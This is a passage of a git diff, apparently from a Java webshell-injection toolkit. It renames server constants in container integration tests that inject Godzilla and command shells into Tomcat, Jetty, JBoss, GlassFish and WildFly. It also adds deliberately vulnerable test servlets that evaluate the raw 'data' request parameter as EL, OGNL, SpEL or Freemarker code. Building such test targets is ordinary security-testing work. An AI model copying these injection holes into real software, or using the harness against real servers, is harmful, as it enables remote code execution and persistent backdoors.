+++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish6ContainerTest.java
@@ -65,6 +65,6 @@ public class GlassFish6ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
- testShellInjectAssertOk(getUrl(container), Server.GLASSFISH, shellType, shellTool, Opcodes.V1_6, packer);
+ testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer);
}
}
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish7ContainerTest.java
index 70d29b61..9d100290 100644
--- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish7ContainerTest.java
+++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish7ContainerTest.java
@@ -60,6 +60,6 @@ public class GlassFish7ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
- testShellInjectAssertOk(getUrl(container), Server.GLASSFISH, shellType, shellTool, Opcodes.V1_6, packer);
+ testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer);
}
}
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java
index da68838f..aa34187b 100644
--- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java
+++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java
@@ -60,6 +60,6 @@ public class Jboss423ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
- testShellInjectAssertOk(getUrl(container), Server.JBOSS, shellType, shellTool, Opcodes.V1_6, packer);
+ testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer);
}
}
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java
index f3208551..4e32bbdf 100644
--- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java
+++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java
@@ -60,6 +60,6 @@ public class Jboss510ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
- testShellInjectAssertOk(getUrl(container), Server.JBOSS, shellType, shellTool, Opcodes.V1_6, packer);
+ testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer);
}
}
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java
index c5cc3674..95d2be07 100644
--- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java
+++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java
@@ -61,6 +61,6 @@ public class Jboss610ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
- testShellInjectAssertOk(getUrl(container), Server.JBOSS, shellType, shellTool, Opcodes.V1_6, packer);
+ testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer);
}
}
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java
index 2712da32..5a5e4ee6 100644
--- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java
+++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java
@@ -60,6 +60,6 @@ public class Jboss711ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
- testShellInjectAssertOk(getUrl(container), Server.JBOSS, shellType, shellTool, Opcodes.V1_7, packer);
+ testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_7, packer);
}
}
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java
index 072c0cef..b1850a4f 100644
--- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java
+++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java
@@ -57,6 +57,6 @@ public class JbossEap6ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
- testShellInjectAssertOk(getUrl(container), Server.JBOSS, shellType, shellTool, Opcodes.V1_6, packer);
+ testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer);
}
}
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java
index c2510718..07342c14 100644
--- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java
+++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java
@@ -57,6 +57,6 @@ public class JbossEap7ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
- testShellInjectAssertOk(getUrl(container), Server.UNDERTOW, shellType, shellTool, Opcodes.V1_6, packer);
+ testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer);
}
}
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java
index 10deca9c..c93ac299 100644
--- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java
+++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java
@@ -60,6 +60,6 @@ public class Jetty10ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
- testShellInjectAssertOk(getUrl(container), Server.JETTY, shellType, shellTool, Opcodes.V11, packer);
+ testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V11, packer);
}
}
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java
index fbcccbe2..2694db9c 100644
--- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java
+++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java
@@ -60,6 +60,6 @@ public class Jetty11ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
- testShellInjectAssertOk(getUrl(container), Server.JETTY, shellType, shellTool, Opcodes.V11, packer);
+ testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V11, packer);
}
}
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java
index 4e810ef1..31c5c2e3 100644
--- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java
+++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java
@@ -59,6 +59,6 @@ public class Jetty61ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
- testShellInjectAssertOk(getUrl(container), Server.JETTY, shellType, shellTool, Opcodes.V1_6, packer);
+ testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer);
}
}
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java
index 861724f9..f6bdb768 100644
--- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java
+++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java
@@ -59,6 +59,6 @@ public class Jetty76ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
- testShellInjectAssertOk(getUrl(container), Server.JETTY, shellType, shellTool, Opcodes.V1_6, packer);
+ testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer);
}
}
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java
index b5eefe69..05009c4e 100644
--- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java
+++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java
@@ -60,6 +60,6 @@ public class Jetty81ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
- testShellInjectAssertOk(getUrl(container), Server.JETTY, shellType, shellTool, Opcodes.V1_6, packer);
+ testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer);
}
}
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java
index e065a846..c7e50119 100644
--- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java
+++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java
@@ -61,6 +61,6 @@ public class Jetty92ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
- testShellInjectAssertOk(getUrl(container), Server.JETTY, shellType, shellTool, Opcodes.V1_6, packer);
+ testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer);
}
}
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java
index edbe397b..b310cc3f 100644
--- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java
+++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java
@@ -60,6 +60,6 @@ public class Jetty93ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
- testShellInjectAssertOk(getUrl(container), Server.JETTY, shellType, shellTool, Opcodes.V1_6, packer);
+ testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer);
}
}
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java
index fd095855..3b72a889 100644
--- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java
+++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java
@@ -64,6 +64,6 @@ public class Jetty94ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
- testShellInjectAssertOk(getUrl(container), Server.JETTY, shellType, shellTool, Opcodes.V1_6, packer);
+ testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer);
}
}
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java
index 09b29ce8..894c1bef 100644
--- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java
+++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java
@@ -65,6 +65,6 @@ public class Tomcat10ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
- testShellInjectAssertOk(getUrl(container), Server.TOMCAT, shellType, shellTool, Opcodes.V11, packer);
+ testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V11, packer);
}
}
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java
index 157e5dd9..b239a955 100644
--- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java
+++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java
@@ -61,6 +61,6 @@ public class Tomcat11ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
- testShellInjectAssertOk(getUrl(container), Server.TOMCAT, shellType, shellTool, Opcodes.V17, packer);
+ testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V17, packer);
}
}
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java
index f54ce070..8c39595f 100644
--- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java
+++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java
@@ -64,6 +64,6 @@ public class Tomcat5ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
- testShellInjectAssertOk(getUrl(container), Server.TOMCAT, shellType, shellTool, Opcodes.V1_6, packer);
+ testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_6, packer);
}
}
\ No newline at end of file
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java
index 5bf2f490..cc50e419 100644
--- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java
+++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java
@@ -64,6 +64,6 @@ public class Tomcat6ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
- testShellInjectAssertOk(getUrl(container), Server.TOMCAT, shellType, shellTool, Opcodes.V1_6, packer);
+ testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_6, packer);
}
}
\ No newline at end of file
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java
index aa29aad0..aba7317f 100644
--- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java
+++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java
@@ -65,6 +65,6 @@ public class Tomcat7ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
- testShellInjectAssertOk(getUrl(container), Server.TOMCAT, shellType, shellTool, Opcodes.V1_7, packer);
+ testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_7, packer);
}
}
\ No newline at end of file
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java
index c5e0907c..2731a8c6 100644
--- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java
+++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java
@@ -58,19 +58,25 @@ public class Tomcat8ContainerTest {
arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
- arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize)
+ arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize),
+ arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.EL),
+ arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Ognl),
+ arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.SpEL),
+ arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Freemarker),
+ arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Velocity)
);
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
+ log.info(logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
- testShellInjectAssertOk(getUrl(container), Server.TOMCAT, shellType, shellTool, Opcodes.V1_8, packer);
+ testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer);
}
-}
+}
\ No newline at end of file
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java
index 1105bfba..73567fe4 100644
--- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java
+++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java
@@ -65,6 +65,6 @@ public class Tomcat9ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
- testShellInjectAssertOk(getUrl(container), Server.TOMCAT, shellType, shellTool, Opcodes.V9, packer);
+ testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V9, packer);
}
}
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java
index 0dad5d0d..1d6c6f97 100644
--- a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java
+++ b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java
@@ -57,6 +57,6 @@ public class Wildfly18ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
- testShellInjectAssertOk(getUrl(container), Server.UNDERTOW, shellType, shellTool, Opcodes.V1_6, packer);
+ testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer);
}
}
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java
index 5a03ed6d..9b53bf3c 100644
--- a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java
+++ b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java
@@ -57,6 +57,6 @@ public class Wildfly23ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
- testShellInjectAssertOk(getUrl(container), Server.UNDERTOW, shellType, shellTool, Opcodes.V1_6, packer);
+ testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer);
}
}
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java
index 5d45f553..280b79d2 100644
--- a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java
+++ b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java
@@ -60,6 +60,6 @@ public class Wildfly9ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
- testShellInjectAssertOk(getUrl(container), Server.UNDERTOW, shellType, shellTool, Opcodes.V1_6, packer);
+ testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer);
}
}
diff --git a/vul-webapp/build.gradle b/vul-webapp/build.gradle
index b0b7faa3..fb8d0162 100644
--- a/vul-webapp/build.gradle
+++ b/vul-webapp/build.gradle
@@ -16,5 +16,11 @@ java {
dependencies {
implementation 'commons-fileupload:commons-fileupload:1.3.3'
implementation 'commons-beanutils:commons-beanutils:1.9.3'
+ implementation 'de.odysseus.juel:juel-impl:2.2.7'
+ implementation 'org.freemarker:freemarker:2.3.23'
+ implementation 'org.apache.velocity:velocity:1.7'
+ implementation 'ognl:ognl:2.7.3'
+ implementation 'org.springframework:spring-expression:4.3.30.RELEASE'
+ implementation 'de.odysseus.juel:juel-api:2.2.7'
providedCompile "javax.servlet:servlet-api:2.5"
-}
\ No newline at end of file
+}
diff --git a/vul-webapp/src/main/java/ELServlet.java b/vul-webapp/src/main/java/ELServlet.java
new file mode 100644
index 00000000..b02088dd
--- /dev/null
+++ b/vul-webapp/src/main/java/ELServlet.java
@@ -0,0 +1,27 @@
+import de.odysseus.el.ExpressionFactoryImpl;
+import de.odysseus.el.util.SimpleContext;
+
+import javax.el.ExpressionFactory;
+import javax.el.ValueExpression;
+import javax.servlet.ServletException;
+import javax.servlet.http.HttpServlet;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.IOException;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/14
+ */
+public class ELServlet extends HttpServlet {
+
+ @Override
+ protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
+ String data = req.getParameter("data");
+ ExpressionFactory factory = new ExpressionFactoryImpl();
+ SimpleContext context = new SimpleContext();
+ ValueExpression ve = factory.createValueExpression(context, "${" + data + "}", Object.class);
+ Object value = ve.getValue(context);
+ resp.getWriter().write(value.toString());
+ }
+}
diff --git a/vul-webapp/src/main/java/FreemarkerServlet.java b/vul-webapp/src/main/java/FreemarkerServlet.java
new file mode 100644
index 00000000..ed5a8c9c
--- /dev/null
+++ b/vul-webapp/src/main/java/FreemarkerServlet.java
@@ -0,0 +1,36 @@
+import freemarker.template.Configuration;
+import freemarker.template.Template;
+import freemarker.template.TemplateException;
+
+import javax.servlet.ServletException;
+import javax.servlet.http.HttpServlet;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.IOException;
+import java.io.StringReader;
+import java.io.StringWriter;
+import java.util.HashMap;
+import java.util.Map;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/14
+ */
+public class FreemarkerServlet extends HttpServlet {
+ @Override
+ protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
+ String data = req.getParameter("data");
+ Configuration cfg = new Configuration();
+ cfg.setDefaultEncoding("UTF-8");
+ Map input = new HashMap();
+ input.put("object", new Object());
+ Template template = new Template("templateName", new StringReader(data), cfg);
+ StringWriter output = new StringWriter();
+ try {
+ template.process(input, output);
+ } catch (TemplateException e) {
+ throw new RuntimeException(e);
+ }
+ resp.getWriter().write(output.toString());
+ }
+}
diff --git a/vul-webapp/src/main/java/OgnlServlet.java b/vul-webapp/src/main/java/OgnlServlet.java
new file mode 100644
index 00000000..61558252
--- /dev/null
+++ b/vul-webapp/src/main/java/OgnlServlet.java
@@ -0,0 +1,28 @@
+import ognl.Ognl;
+import ognl.OgnlContext;
+import ognl.OgnlException;
+
+import javax.servlet.ServletException;
+import javax.servlet.http.HttpServlet;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.IOException;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/14
+ */
+public class OgnlServlet extends HttpServlet {
+ @Override
+ protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
+ String data = req.getParameter("data");
+ OgnlContext context = new OgnlContext();
+ Object value = null;
+ try {
+ value = Ognl.getValue(data, context, context.getRoot());
+ } catch (OgnlException e) {
+ throw new RuntimeException(e);
+ }
+ resp.getWriter().println(value);
+ }
+}
diff --git a/vul-webapp/src/main/java/SpELServlet.java b/vul-webapp/src/main/java/SpELServlet.java
new file mode 100644
index 00000000..4144f611
--- /dev/null
+++ b/vul-webapp/src/main/java/SpELServlet.java
@@ -0,0 +1,20 @@
+import org.springframework.expression.spel.standard.SpelExpressionParser;
+
+import javax.servlet.ServletException;
+import javax.servlet.http.HttpServlet;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.IOException;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/14
+ */
+public class SpELServlet extends HttpServlet {
+ @Override
+ protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
+ String data = req.getParameter("data");
+ Object value = new SpelExpressionParser().parseExpression(data).getValue();
+ resp.getWriter().println(value);
+ }
+}
diff --git a/vul-webapp/src/main/java/TestServlet.java b/vul-webapp/src/main/java/TestServlet.java
index 0f24dc2a..46028d43 100644
--- a/vul-webapp/src/main/java/TestServlet.java
+++ b/vul-webapp/src/main/java/TestServlet.java
@@ -9,10 +9,7 @@ import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
-import java.util.Map;
+import java.util.*;
import java.util.zip.GZIPInputStream;
/**
@@ -169,32 +166,27 @@ public class TestServlet extends HttpServlet {
return false;
}
- public List